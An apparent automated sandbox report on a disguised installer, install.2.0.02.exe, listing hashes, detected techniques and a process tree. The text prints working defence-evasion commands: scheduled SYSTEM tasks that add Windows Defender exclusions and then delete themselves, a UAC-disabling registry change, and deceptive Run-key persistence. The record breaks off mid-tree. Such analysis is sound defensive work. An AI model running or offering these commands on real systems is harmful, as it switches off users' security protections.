Analysis
- max time kernel
150s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
24/10/2026, 19:55
Static task
static1
Behavioral task
behavioral1
Sample
install.2.0.02.exe
Resource
win10v2004-20260911-en
Behavioral task
behavioral2
Sample
install.2.0.02.exe
Resource
win11ltsc2024-20260911-en
General
- Target install.2.0.02.exe
- Size 38.9MB
- Sample261024-yncjkabz5s
- SHA256 9a7a911c7aec8053310cc12515e39f341db9eebc0c73129b4d1c5dc13d8b49cb
- MD5 e7e5dabbdb31a3b466d6a9c0d627e2bc
- SHA1 c113d5b4d40cc92948a403e0652d0e30a4996b0e
- SHA512 37df00698daf279a560c25fecbe4a23fcd71a6f78c0a855b0b10c0d3d0fa4ee2503558bf0c6bd6896a2d55795b9813b57a65ec01b8081403b00d57815649f221
- SSDEEP 49152:qPnycXVTyTyg5tJyNZ/W/hNbo1iTl8ZFPnMBwbePbgF+VS5sb5m+cZ2lyn0wgsXz:q6chqTShW/hNbSiQfMJPLmrUlsz
- TLSH T14B97D69FBF81DE82F957D23498A75B602336D9B40BF1C307125427206F9F2998EE25D8
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- UAC bypass 3 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" 4Ct4qa.exe - Windows security bypass 2 TTPs 18 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\FBIRNB = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0" reg.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 5816 powershell.exe - Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\system32\drivers\etc\hosts 4Ct4qa.exe - Possible privilege escalation attempt 23 IoCs
pid Process 5048 icacls.exe 848 takeown.exe 1692 icacls.exe 1176 icacls.exe 5668 icacls.exe 3488 icacls.exe 5764 icacls.exe 3300 icacls.exe 2820 icacls.exe 5132 icacls.exe 5828 icacls.exe 1048 icacls.exe 3408 icacls.exe 2440 icacls.exe 2312 icacls.exe 4672 icacls.exe 4176 takeown.exe 5820 icacls.exe 5524 icacls.exe 6056 icacls.exe 2324 icacls.exe 3296 icacls.exe 3824 icacls.exe - Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Control Panel\International\Geo\Nation Ny6yf4.exe Key value queried \REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Control Panel\International\Geo\Nation 4Ct4qa.exe - Disables service(s) 3 TTPs
- Executes dropped EXE 7 IoCs
pid Process 3548 Ny6yf4.exe 6056 Ny6yf4.exe 4332 4Ct4qa.exe 4712 4Ct4qa.exe 2308 VQX11.exe 6064 4Ct4qa.exe 312 VQX11.exe - Loads dropped DLL 7 IoCs
pid Process 3548 Ny6yf4.exe 6056 Ny6yf4.exe 4332 4Ct4qa.exe 4712 4Ct4qa.exe 2308 VQX11.exe 6064 4Ct4qa.exe 312 VQX11.exe - Modifies file permissions 1 TTPs 23 IoCs
pid Process 3296 icacls.exe 5132 icacls.exe 5668 icacls.exe 5828 icacls.exe 3824 icacls.exe 5764 icacls.exe 1048 icacls.exe 4672 icacls.exe 2324 icacls.exe 3488 icacls.exe 1692 icacls.exe 4176 takeown.exe 5820 icacls.exe 1176 icacls.exe 3300 icacls.exe 2820 icacls.exe 6056 icacls.exe 2440 icacls.exe 848 takeown.exe 5524 icacls.exe 3408 icacls.exe 5048 icacls.exe 2312 icacls.exe - Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\FBIRNB\\Ny6yf4.exe\"" Ny6yf4.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\4Ct4qa\\4Ct4qa.exe\"" 4Ct4qa.exe - Indicator Removal: Clear Persistence 1 TTPs 10 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 1396 cmd.exe 364 cmd.exe 804 cmd.exe 4424 cmd.exe 3828 cmd.exe 6112 cmd.exe 1440 cmd.exe 1148 cmd.exe 5400 cmd.exe 5340 cmd.exe - Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b Ny6yf4.exe - Drops file in Program Files directory 18 IoCs
description ioc Process File created C:\Program Files (x86)\4Ct4qa\image.png Ny6yf4.exe File created C:\Program Files (x86)\4Ct4qa\thumbs.db Ny6yf4.exe File opened for modification C:\Program Files (x86)\XnZKV1Kr\image.png 4Ct4qa.exe File opened for modification C:\Program Files (x86)\XnZKV1Kr\thumbs.db 4Ct4qa.exe File opened for modification C:\Program Files (x86)\4Ct4qa\image.png Ny6yf4.exe File opened for modification C:\Program Files (x86)\4Ct4qa\thumbs.db Ny6yf4.exe File opened for modification C:\Program Files (x86)\XnZKV1Kr 4Ct4qa.exe File created C:\Program Files (x86)\XnZKV1Kr\VQX11.exe 4Ct4qa.exe File opened for modification C:\Program Files (x86)\XnZKV1Kr\VQX11.exe 4Ct4qa.exe File created C:\Program Files (x86)\XnZKV1Kr\image.png 4Ct4qa.exe File opened for modification C:\Program Files (x86)\4Ct4qa Ny6yf4.exe File opened for modification C:\Program Files (x86)\4Ct4qa\4Ct4qa.exe Ny6yf4.exe File opened for modification C:\Program Files (x86)\4Ct4qa\XPSPLOG.dll Ny6yf4.exe File created C:\Program Files (x86)\XnZKV1Kr\thumbs.db 4Ct4qa.exe File opened for modification C:\Program Files (x86)\XnZKV1Kr\XPSPLOG.dll 4Ct4qa.exe File created C:\Program Files (x86)\4Ct4qa\4Ct4qa.exe Ny6yf4.exe File created C:\Program Files (x86)\4Ct4qa\XPSPLOG.dll Ny6yf4.exe File created C:\Program Files (x86)\XnZKV1Kr\XPSPLOG.dll 4Ct4qa.exe - Launches sc.exe 8 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3372 sc.exe 2168 sc.exe 4240 sc.exe 5288 sc.exe 3480 sc.exe 5884 sc.exe 4772 sc.exe 3800 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Screensaver 1 TTPs 3 IoCs
Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Control Panel\Desktop\SCRNSAVE.EXE 4Ct4qa.exe Set value (str) \REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Control Panel\Desktop\ScreenSaveActive = "0" 4Ct4qa.exe Set value (str) \REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0" 4Ct4qa.exe - Executes a command shell one-liner 1 TTPs 28 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5652 cmd.exe 5172 cmd.exe 4904 cmd.exe 1660 cmd.exe 3468 cmd.exe 4508 cmd.exe 3944 cmd.exe 1668 cmd.exe 4324 cmd.exe 4728 cmd.exe 5944 cmd.exe 2916 cmd.exe 2052 cmd.exe 6120 cmd.exe 5692 cmd.exe 1164 cmd.exe 5936 cmd.exe 116 cmd.exe 5280 cmd.exe 5204 cmd.exe 396 cmd.exe 3472 cmd.exe 3024 cmd.exe 3780 cmd.exe 4172 cmd.exe 2464 cmd.exe 1908 cmd.exe 4684 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname install.2.0.02.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain install.2.0.02.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname Ny6yf4.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain Ny6yf4.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname 4Ct4qa.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain 4Ct4qa.exe - System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 4Ct4qa.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language takeown.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 4Ct4qa.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 4Ct4qa.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language takeown.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language VQX11.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe - Modifies Control Panel 4 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Control Panel\Desktop\ScreenSaveActive = "0" 4Ct4qa.exe Set value (str) \REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0" 4Ct4qa.exe Set value (str) \REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0" 4Ct4qa.exe Set value (str) \REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Control Panel\Desktop\SCRNSAVE.EXE 4Ct4qa.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2252 schtasks.exe 3996 schtasks.exe 2780 schtasks.exe 3880 schtasks.exe 5864 schtasks.exe 628 schtasks.exe 4296 schtasks.exe 3676 schtasks.exe 3680 schtasks.exe 4824 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 936 install.2.0.02.exe 936 install.2.0.02.exe 936 install.2.0.02.exe 936 install.2.0.02.exe 936 install.2.0.02.exe 936 install.2.0.02.exe 936 install.2.0.02.exe 936 install.2.0.02.exe 936 install.2.0.02.exe 936 install.2.0.02.exe 936 install.2.0.02.exe 936 install.2.0.02.exe 936 install.2.0.02.exe 936 install.2.0.02.exe 936 install.2.0.02.exe 936 install.2.0.02.exe 936 install.2.0.02.exe 936 install.2.0.02.exe 936 install.2.0.02.exe 936 install.2.0.02.exe 936 install.2.0.02.exe 936 install.2.0.02.exe 936 install.2.0.02.exe 936 install.2.0.02.exe 936 install.2.0.02.exe 936 install.2.0.02.exe 936 install.2.0.02.exe 936 install.2.0.02.exe 936 install.2.0.02.exe 936 install.2.0.02.exe 936 install.2.0.02.exe 936 install.2.0.02.exe 3548 Ny6yf4.exe 3548 Ny6yf4.exe 3548 Ny6yf4.exe 3548 Ny6yf4.exe 3548 Ny6yf4.exe 3548 Ny6yf4.exe 3548 Ny6yf4.exe 3548 Ny6yf4.exe 3548 Ny6yf4.exe 3548 Ny6yf4.exe 3548 Ny6yf4.exe 3548 Ny6yf4.exe 3548 Ny6yf4.exe 3548 Ny6yf4.exe 3548 Ny6yf4.exe 3548 Ny6yf4.exe 3548 Ny6yf4.exe 3548 Ny6yf4.exe 3548 Ny6yf4.exe 3548 Ny6yf4.exe 3548 Ny6yf4.exe 3548 Ny6yf4.exe 3548 Ny6yf4.exe 3548 Ny6yf4.exe 3548 Ny6yf4.exe 3548 Ny6yf4.exe 3548 Ny6yf4.exe 3548 Ny6yf4.exe 3548 Ny6yf4.exe 3548 Ny6yf4.exe 3548 Ny6yf4.exe 3548 Ny6yf4.exe - Suspicious behavior: LoadsDriver 4 IoCs
pid Process 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeTakeOwnershipPrivilege 848 takeown.exe Token: SeRestorePrivilege 1048 icacls.exe Token: SeTakeOwnershipPrivilege 4176 takeown.exe Token: SeRestorePrivilege 1176 icacls.exe Token: SeDebugPrivilege 5816 powershell.exe Token: SeIncreaseQuotaPrivilege 5816 powershell.exe Token: SeSecurityPrivilege 5816 powershell.exe Token: SeTakeOwnershipPrivilege 5816 powershell.exe Token: SeLoadDriverPrivilege 5816 powershell.exe Token: SeSystemProfilePrivilege 5816 powershell.exe Token: SeSystemtimePrivilege 5816 powershell.exe Token: SeProfSingleProcessPrivilege 5816 powershell.exe Token: SeIncBasePriorityPrivilege 5816 powershell.exe Token: SeCreatePagefilePrivilege 5816 powershell.exe Token: SeBackupPrivilege 5816 powershell.exe Token: SeRestorePrivilege 5816 powershell.exe Token: SeShutdownPrivilege 5816 powershell.exe Token: SeDebugPrivilege 5816 powershell.exe Token: SeSystemEnvironmentPrivilege 5816 powershell.exe Token: SeRemoteShutdownPrivilege 5816 powershell.exe Token: SeUndockPrivilege 5816 powershell.exe Token: SeManageVolumePrivilege 5816 powershell.exe Token: 33 5816 powershell.exe Token: 34 5816 powershell.exe Token: 35 5816 powershell.exe Token: 36 5816 powershell.exe Token: SeIncreaseQuotaPrivilege 5816 powershell.exe Token: SeSecurityPrivilege 5816 powershell.exe Token: SeTakeOwnershipPrivilege 5816 powershell.exe Token: SeLoadDriverPrivilege 5816 powershell.exe Token: SeSystemProfilePrivilege 5816 powershell.exe Token: SeSystemtimePrivilege 5816 powershell.exe Token: SeProfSingleProcessPrivilege 5816 powershell.exe Token: SeIncBasePriorityPrivilege 5816 powershell.exe Token: SeCreatePagefilePrivilege 5816 powershell.exe Token: SeBackupPrivilege 5816 powershell.exe Token: SeRestorePrivilege 5816 powershell.exe Token: SeShutdownPrivilege 5816 powershell.exe Token: SeDebugPrivilege 5816 powershell.exe Token: SeSystemEnvironmentPrivilege 5816 powershell.exe Token: SeRemoteShutdownPrivilege 5816 powershell.exe Token: SeUndockPrivilege 5816 powershell.exe Token: SeManageVolumePrivilege 5816 powershell.exe Token: 33 5816 powershell.exe Token: 34 5816 powershell.exe Token: 35 5816 powershell.exe Token: 36 5816 powershell.exe Token: SeIncreaseQuotaPrivilege 5816 powershell.exe Token: SeSecurityPrivilege 5816 powershell.exe Token: SeTakeOwnershipPrivilege 5816 powershell.exe Token: SeLoadDriverPrivilege 5816 powershell.exe Token: SeSystemProfilePrivilege 5816 powershell.exe Token: SeSystemtimePrivilege 5816 powershell.exe Token: SeProfSingleProcessPrivilege 5816 powershell.exe Token: SeIncBasePriorityPrivilege 5816 powershell.exe Token: SeCreatePagefilePrivilege 5816 powershell.exe Token: SeBackupPrivilege 5816 powershell.exe Token: SeRestorePrivilege 5816 powershell.exe Token: SeShutdownPrivilege 5816 powershell.exe Token: SeDebugPrivilege 5816 powershell.exe Token: SeSystemEnvironmentPrivilege 5816 powershell.exe Token: SeRemoteShutdownPrivilege 5816 powershell.exe Token: SeUndockPrivilege 5816 powershell.exe Token: SeManageVolumePrivilege 5816 powershell.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3548 wrote to memory of 1396 3548 Ny6yf4.exe 99 PID 1396 wrote to memory of 2252 1396 cmd.exe 103 PID 1396 wrote to memory of 5900 1396 cmd.exe 105 PID 1396 wrote to memory of 4360 1396 cmd.exe 108 PID 5652 wrote to memory of 5032 5652 cmd.exe 109 PID 3548 wrote to memory of 364 3548 Ny6yf4.exe 111 PID 364 wrote to memory of 3996 364 cmd.exe 113 PID 364 wrote to memory of 552 364 cmd.exe 115 PID 364 wrote to memory of 6032 364 cmd.exe 117 PID 3548 wrote to memory of 1440 3548 Ny6yf4.exe 119 PID 1440 wrote to memory of 2780 1440 cmd.exe 121 PID 1440 wrote to memory of 5616 1440 cmd.exe 122 PID 1440 wrote to memory of 4008 1440 cmd.exe 124 PID 3944 wrote to memory of 5688 3944 cmd.exe 126 PID 1668 wrote to memory of 5772 1668 cmd.exe 127 PID 3548 wrote to memory of 804 3548 Ny6yf4.exe 128 PID 804 wrote to memory of 4296 804 cmd.exe 130 PID 804 wrote to memory of 3440 804 cmd.exe 131 PID 5692 wrote to memory of 908 5692 cmd.exe 134 PID 804 wrote to memory of 5984 804 cmd.exe 135 PID 3548 wrote to memory of 1148 3548 Ny6yf4.exe 136 PID 1148 wrote to memory of 3880 1148 cmd.exe 138 PID 1148 wrote to memory of 5808 1148 cmd.exe 139 PID 1148 wrote to memory of 3124 1148 cmd.exe 142 PID 5172 wrote to memory of 1664 5172 cmd.exe 143 PID 3548 wrote to memory of 4332 3548 Ny6yf4.exe 144 PID 4332 wrote to memory of 3024 4332 4Ct4qa.exe 147 PID 4332 wrote to memory of 3780 4332 4Ct4qa.exe 150 PID 4332 wrote to memory of 4324 4332 4Ct4qa.exe 152 PID 4332 wrote to memory of 4728 4332 4Ct4qa.exe 155 PID 3780 wrote to memory of 3300 3780 cmd.exe 158 PID 4332 wrote to memory of 5400 4332 4Ct4qa.exe 159 PID 4332 wrote to memory of 4172 4332 4Ct4qa.exe 161 PID 4332 wrote to memory of 1164 4332 4Ct4qa.exe 163 PID 1164 wrote to memory of 2820 1164 cmd.exe 165 PID 4172 wrote to memory of 564 4172 cmd.exe 166 PID 5400 wrote to memory of 3676 5400 cmd.exe 167 PID 564 wrote to memory of 4760 564 net.exe 168 PID 4332 wrote to memory of 4904 4332 4Ct4qa.exe 169 PID 4332 wrote to memory of 4424 4332 4Ct4qa.exe 171 PID 5400 wrote to memory of 1400 5400 cmd.exe 173 PID 4424 wrote to memory of 3680 4424 cmd.exe 174 PID 4904 wrote to memory of 3296 4904 cmd.exe 175 PID 4332 wrote to memory of 5936 4332 4Ct4qa.exe 177 PID 5400 wrote to memory of 1840 5400 cmd.exe 179 PID 4424 wrote to memory of 4056 4424 cmd.exe 180 PID 5936 wrote to memory of 5668 5936 cmd.exe 181 PID 4424 wrote to memory of 4788 4424 cmd.exe 182 PID 4332 wrote to memory of 116 4332 4Ct4qa.exe 183 PID 116 wrote to memory of 5132 116 cmd.exe 185 PID 4332 wrote to memory of 3828 4332 4Ct4qa.exe 187 PID 4332 wrote to memory of 1660 4332 4Ct4qa.exe 188 PID 1660 wrote to memory of 6056 1660 cmd.exe 191 PID 4172 wrote to memory of 3480 4172 cmd.exe 192 PID 3828 wrote to memory of 5864 3828 cmd.exe 193 PID 4172 wrote to memory of 5884 4172 cmd.exe 194 PID 4332 wrote to memory of 2464 4332 4Ct4qa.exe 195 PID 3828 wrote to memory of 2272 3828 cmd.exe 197 PID 4172 wrote to memory of 5452 4172 cmd.exe 198 PID 5452 wrote to memory of 2780 5452 net.exe 200 PID 2464 wrote to memory of 5828 2464 cmd.exe 201 PID 3828 wrote to memory of 2516 3828 cmd.exe 202 PID 4332 wrote to memory of 2052 4332 4Ct4qa.exe 204 PID 2052 wrote to memory of 2324 2052 cmd.exe 206 - System policy modification 1 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" 4Ct4qa.exe - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\install.2.0.02.exe"C:\Users\Admin\AppData\Local\Temp\install.2.0.02.exe"1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:936
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C:\Users\Public\FBIRNB\Ny6yf4.exeC:\Users\Public\FBIRNB\Ny6yf4.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3548 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\FBIRNB\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1396 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\FBIRNB\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2252
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:5900
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4360
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:364 -
